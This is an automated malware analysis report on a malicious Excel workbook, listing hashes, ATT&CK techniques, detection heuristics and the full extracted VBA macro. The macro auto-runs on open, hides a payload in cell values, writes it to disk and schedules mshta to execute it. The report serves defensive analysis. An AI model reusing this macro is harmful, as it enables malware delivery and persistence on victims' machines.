Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 3f219988bab65d08…

MALICIOUS

Office (OOXML)

134.8 KB Created: 2000-04-13 21:48:14 UTC Authoring application: Microsoft Excel 12.0000 First seen: 2021-07-10
MD5: 9534459f7684833cc465521b6d7b7e96 SHA-1: 4db5f1217029845980b3e1980183f77427a9881c SHA-256: 3f219988bab65d0839a40af2e825aa88ea5980b9aa0daf1bbc3a4ad737a06393
176 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1218 System Binary Proxy Execution

The critical heuristic 'OLE_VBA_LOLBIN' and the high heuristic 'OLE_VBA_PCODE_AUTOEXEC_EXEC' indicate that the VBA macro is designed to execute a legitimate Windows binary (LOLBin) to perform malicious actions. The macro attempts to create a file named 'xHtmlCalc.xsl' in the ALLUSERSPROFILE directory, which is a common technique for downloading and executing further stages of malware. The use of CreateObject and Schedule.Service suggests an attempt to schedule or execute a payload.

Heuristics 6

  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • LOLBin reference in VBA critical OLE_VBA_LOLBIN
    LOLBin reference in VBA
    Matched line in script
        Set xPaperEnvelopeC3 = xDataAndLabel.Actions.Create(xCSV)
    xPaperEnvelopeC3.Path = "mshta"
    xPaperEnvelopeC3.Arguments = xCellTypeSameFormatConditions
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Next xZero
    With CreateObject("Scripting.FileSystemObject")
    Set xUpdateLinksAlways = .CreateTextFile(Environ("ALLUSERSPROFILE") & "\xHtmlCalc.xsl")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Attribute VB_Customizable = True
Sub Workbook_Open()
    On Error GoTo xUnderlineStyleSingleAccounting
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
        With CreateObject("Scripting.FileSystemObject")
    Set xUpdateLinksAlways = .CreateTextFile(Environ("ALLUSERSPROFILE") & "\xHtmlCalc.xsl")
    End With

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 3760 bytes
SHA-256: 83aae2ffb4b73a503b329111c12650bc90bac85e1e1aa7b61397ec0e08910014
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Sub Workbook_Open()
    On Error GoTo xUnderlineStyleSingleAccounting
    xDialogSize = 1 / 0
xUnderlineStyleSingleAccounting:
        If Err.Number <> 0 Then
            xDialogGallery3dArea = "Thank You!"
            MsgBox xDialogGallery3dArea, , "Good", Err.HelpFile, Err.HelpContext
            xCalculationAutomatic = xTitleBar()
        End If
End Sub

Function xTitleBar()
    For Each xZero In ActiveWorkbook.Sheets("Sheet1").Range("AN53:CD3664")
        If xZero.Value > 0 And Len(xCellTypeSameFormatConditions) < 199 Then
            xCellTypeSameFormatConditions = xCellTypeSameFormatConditions & Chr(xZero.Value)
        ElseIf xZero.Value > 0 Then
            xRoutingInProgress = xRoutingInProgress & Chr(xZero.Value)
        End If
    Next xZero
    With CreateObject("Scripting.FileSystemObject")
    Set xUpdateLinksAlways = .CreateTextFile(Environ("ALLUSERSPROFILE") & "\xHtmlCalc.xsl")
    End With
    Const xSummaryOnRight = 1
    Const xCSV = 0
    Set xErrorBars = CreateObject("Schedule.Service")
    Call xErrorBars.Connect
    Set xExcel4 = xErrorBars.GetFolder("")
    Set xDataAndLabel = xErrorBars.NewTask(0)
    Set xDialogAutoCorrect = xDataAndLabel.RegistrationInfo
    xDialogAutoCorrect.Description = "Updates"
    xDialogAutoCorrect.Author = "The Company"
    Set xDialogCreateNames = xDataAndLabel.Principal
    xDialogCreateNames.LogonType = 3
    Set xWorksheet = xDataAndLabel.Settings
    xWorksheet.Enabled = True
    xWorksheet.StartWhenAvailable = True
    xWorksheet.Hidden = False
    Set xRangeAutoFormatTable9 = xDataAndLabel.Triggers
    Set xChartAsWindow = xRangeAutoFormatTable9.Create(xSummaryOnRight)
    xFilterInPlace = DateAdd("s", 120, Now)
    xLinkStatusMissingFile = xDialogPivotFieldUngroup(xFilterInPlace)
    xFilterInPlace = DateAdd("n", 5, Now)
    xListConflictDialog = xDialogPivotFieldUngroup(xFilterInPlace)
    xChartAsWindow.StartBoundary = xLinkStatusMissingFile
    With xUpdateLinksAlways
        .Write xRoutingInProgress
    End With
    xChartAsWindow.EndBoundary = xListConflictDialog
    xChartAsWindow.ID = "TimeTriggerId"
    xChartAsWindow.Enabled = True
    Set xPaperEnvelopeC3 = xDataAndLabel.Actions.Create(xCSV)
    xPaperEnvelopeC3.Path = "mshta"
    xPaperEnvelopeC3.Arguments = xCellTypeSameFormatConditions
    Call xExcel4.RegisterTaskDefinition("2021 Updates", xDataAndLabel, 6, , , 3)
End Function


Function xDialogPivotFieldUngroup(xPaperEnvelopeB4)
    xUnlockedCells = "0" & Second(xPaperEnvelopeB4)
    xValidAlertStop = "0" & Minute(xPaperEnvelopeB4)
    xErrRef = "0" & Hour(xPaperEnvelopeB4)
    xDialogObjectProtection = "0" & Day(xPaperEnvelopeB4)
    xWebFormattingAll = "0" & Month(xPaperEnvelopeB4)
    xRangeAutoFormatTable1 = Year(xPaperEnvelopeB4)
    xInsideVertical = Right(xErrRef, 2) & ":" & Right(xValidAlertStop, 2) & ":" & Right(xUnlockedCells, 2)
    xListDataTypeDateTime = xRangeAutoFormatTable1 & "-" & Right(xWebFormattingAll, 2) & "-" & Right(xDialogObjectProtection, 2)
    xDialogPivotFieldUngroup = xListDataTypeDateTime & "T" & xInsideVertical
End Function

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 16896 bytes
SHA-256: 3ea86194501b6222ad9edb1f3a10df74b29141350839a41223fcacafd1f79230

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